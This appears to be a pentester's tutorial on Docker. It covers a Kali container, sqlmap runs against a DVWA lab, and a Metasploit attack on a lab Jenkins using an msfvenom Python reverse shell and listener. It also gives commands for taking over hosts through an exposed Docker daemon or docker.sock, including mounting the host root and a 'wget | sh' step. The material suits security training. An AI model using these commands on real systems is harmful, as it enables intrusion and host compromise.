Create a custom Kali container
Begin by cloning into the official repository:
git clone https://github.com/offensive-security/kali-linux-docker.git
Now let’s modify the Dockerfile to include packages that we want:
FROM kalilinux/kali-linux-docker
MAINTAINER steev@kali.org
RUN echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" > /etc/apt/sources.list && \
echo "deb-src http://http.kali.org/kali kali-rolling main contrib non-free" >> /etc/apt/sources.list
ENV DEBIAN_FRONTEND noninteractive
RUN apt-get -y update && apt-get -y dist-upgrade && \
apt-get -y install metasploit-framework \
vim \
nfs-common \
cifs-utils \
snmp \
x11-apps \
imagemagick \
&& apt-get clean
Keep adding packages under imagemagick as you see fit, or remove any that you’re not particularly interested in.
When you’re ready, go ahead and create an image:
docker build -t kali .
Persistent data across containers
If you’ve been using Docker, you’ll notice that your data doesn’t persist across containers. This can be problematic if you’re running pentesting tools and want to keep the data around for later analysis and eventually report writing.
Let’s fix this by creating a volume container:
docker create -v /tmp --name kali-datacontainer ubuntu
Once this is done, you can start a kali instance using this volume:
docker run -t -i --volumes-from kali-datacontainer kali
Once you’re in the instance, go ahead and create a test file in your volume:
touch /tmp/neatfile.txt
Exit the instance, and create another kali instance (see above docker
run command). You’ll find your /tmp/neatfile.txt
on this instance,
along with any other data you’ve added to the /tmp folder.
Clean all old docker containers that have exited
As you run more and more containers, you’ll find that whenever you run
docker ps -a
you’ll be presented with a lot of clutter. Go ahead and create this alias to make your life easier:
alias cleanseDocker="docker ps -a | grep Exit | cut -d ' ' -f 1 | xargs docker rm"
DVWA
DVWA is a great practice scenario:
docker run -d -p 80:80 citizenstig/dvwa
You can find the running instance at http://localhost/login.php
Docker SQLmap
It’s nice to have a little SQLmap action in your life whenever a SQLi presents itself. Why not throw it into a docker container and alias it?
Before you do this, let’s be sure that we have the sqlmap directory in our home directory so we can save the results:
if [ ! -d "$HOME/.sqlmap" ]; then
mkdir $HOME/.sqlmap
fi
Run the container:
docker run --rm -it -v ~/.sqlmap:/home/user/.sqlmap k0st/alpine-sqlmap
Alias it:
alias sqlmap="docker run --rm -it -v ~/.sqlmap:/home/user/.sqlmap k0st/alpine-sqlmap"
Run a test against DVWA:
sqlmap -u "http://<dvwa site>/vulnerabilities/sqli/?id=&Submit=Submit" --cookie="PHPSESSID=<cookie>; security=low" --dbms=MYSQL -p id --dbs
- Very important: If you’re attacking the DVWA container from above, be sure you use your actual host system ip and don’t point it at localhost. This simply won’t work due to the nature of how Docker works. Think about it.
If you want to pass an input file into your SQLMap container, you’ll want to start it like so:
docker run --rm -it -v ~/.sqlmap:/home/user/.sqlmap k0st/alpine-sqlmap -r /path/to/input/filename.hed
Here’s an example that you can fire against DVWA once you’ve created a .hed file from the request against the DVWA SQLi page, intercepted by a proxy like Burpsuite:
docker run --rm -it -v ~/.sqlmap:/home/user/.sqlmap k0st/alpine-sqlmap -r /path/to/file/filename.hed --dbms=MYSQL -p id --dbs
Msfconsole Docker container
If you simply want an msfconsole container, you can now get it from the official metasploit repository. Be sure to clone into it from your home directory.
Alias it:
alias msfconsole="cd ~/metasploit-framework/docker && docker-compose run --rm --service-ports ms"
You can also get msfvenom running as well:
alias msfvenom="cd ~/metasploit-framework/docker && docker-compose run --rm ms ./msfvenom"
Attacking a vulnerable Jenkins container using the msfconsole container
Stand up a Jenkins container:
docker run -p 8080:8080 -p 50000:50000 jenkins
Visit the web UI and configure it properly (or improperly, depending on how you look at it).
Start msfconsole and use the exploit/multi/http/jenkins_script_console
module like so:
Module options (exploit/multi/http/jenkins_script_console):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD password no The password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST <local mach ip> yes The target address
RPORT 8080 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The path to the Jenkins-CI application
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin no The username to authenticate as
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
DebugOptions 0 no Debugging options for POSIX meterpreter
LHOST <local mach ip> yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
2 Linux
Note that the local mach ip should be the IP address for the machine hosting the container.
Create a listener.rc
file on your host with the following contents:
use multi/handler
set payload python/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
exploit -j -z
Next, copy it to your running msfconsole container:
docker cp listener.rc <msfconsole container>:/tmp
or you can put it in your $HOME/.msf4/modules
folder, since this is
automatically shared with the msfconsole container.
Once it’s in the msfconsole container, run it with either
resource /tmp/listener.rc
or
resource /root/.msf4/modules/listener.rc
depending on which method you
used to get the resource file in there.
We should have a listener going at this point. Excellent. Now we use
msfvenom
to create some evil python:
msfvenom -p python/meterpreter_reverse_tcp LHOST=<local mach ip> LPORT=4444 x > shell.py
Note that the local mach ip should be the IP address for the machine hosting the container.
Copy the evil python to our Jenkins container and pretend you did something cool (like taking advantage of the groovy console) to get it on there:
docker cp shell.py <jenkins container>:/var/jenkins_home
Once that’s done, grab a shell session to the jenkins container:
docker exec -it <jenkins container> /bin/bash
and run the python code:
cd /var/jenkins_home && python shell.py
This should successfully initiate a metasploit session with the msfconsole container.
Resources:
- https://averagesecurityguy.github.io/assets/hack-yourself-first-final.pdf
- https://github.com/kost/docker-webscan/tree/master/alpine-sqlmap
- https://github.com/citizen-stig/dockerdvwa
- https://github.com/offensive-security/kali-linux-docker
Exposed Docker Daemon via TCP
If you find port 2375 open on a system, that means that someone probably ran a command like this one:
docker run -it --name=please_do_not_do_this -H tcp://0.0.0.0:2375 ubuntu
Which means that you can try to run arbitrary docker commands:
docker -H tcp://<ip of target>:2375 <docker command>
For example, to list the containers on that system:
docker -H tcp://<ip of target>:2375 ps -a
To connect to an existing container:
docker -H tcp://<ip of target>:2375 exec -it <target container> /bin/bash
To create and run a container with the host’s root volume mounted:
docker -H tcp://<ip of target>:2375 run --rm -it -v /:/host ubuntu:latest chroot
/host /bin/bash
To avoid having to load up a new image (assuming ubuntu:latest
isn’t already installed),
use docker -H tcp://<ip of target>:2375 image ls
to find an existing image to use.
Docker Daemon exposed to other containers
Even if the docker daemon is only exposed to other other containers, you can still take advantage of it if you compromise a container.
This vulnerability is introduced by running a command like this one:
docker run -it --name=really_freaking_vulnerable_ubuntu -v /var/run/docker.sock:/var/run/docker.sock
ubuntu
To test it:
# Check if you have write access:
ls -lart /var/run/docker.sock
srw-rw---- 1 root root 0 May 6 05:25 /var/run/docker.sock
Install docker:
# Ubuntu or Debian
apt update && apt install -y wget && wget -qO- https://get.docker.com | sh
Once that’s installed, find an image to use with docker images
, or use something
simple like ubuntu:latest
:
docker run -it -v /:/host <docker image to use> chroot /host /bin/bash
Alternatively, you can use the docker socket to avoid installing docker:
# Get images
curl --unix-socket /var/run/docker.sock http://docker/images/json
# Get containers
curl --unix-socket /var/run/docker.sock http://docker/containers/json
Proof of concept for exploitation: https://gitlab.com/Creased/docker-shadow/tree/master
However, this will still need to be done as the root user.
Resources:
- https://gitlab.com/Creased/vulnhub-docker-writeup
- https://www.lvh.io/posts/dont-expose-the-docker-socket-not-even-to-a-container.html
- https://www.youtube.com/watch?v=GeEW-e4LaT4&list=PLbZzXF2qC3RuL2K7KQVHe0aqdXbZC9Lnz&index=4
- https://forums.docker.com/t/api-via-socket-returns-page-not-found/24682/5
- https://stackoverflow.com/questions/26561963/how-to-detect-a-docker-daemon-port
Find secrets in images
Run this to get output from the original Dockerfile
:
docker history --no-trunc <image name>
You can check the output for secrets that were in it.
Resource: https://stackoverflow.com/questions/48716536/how-to-show-a-dockerfile-of-image-docker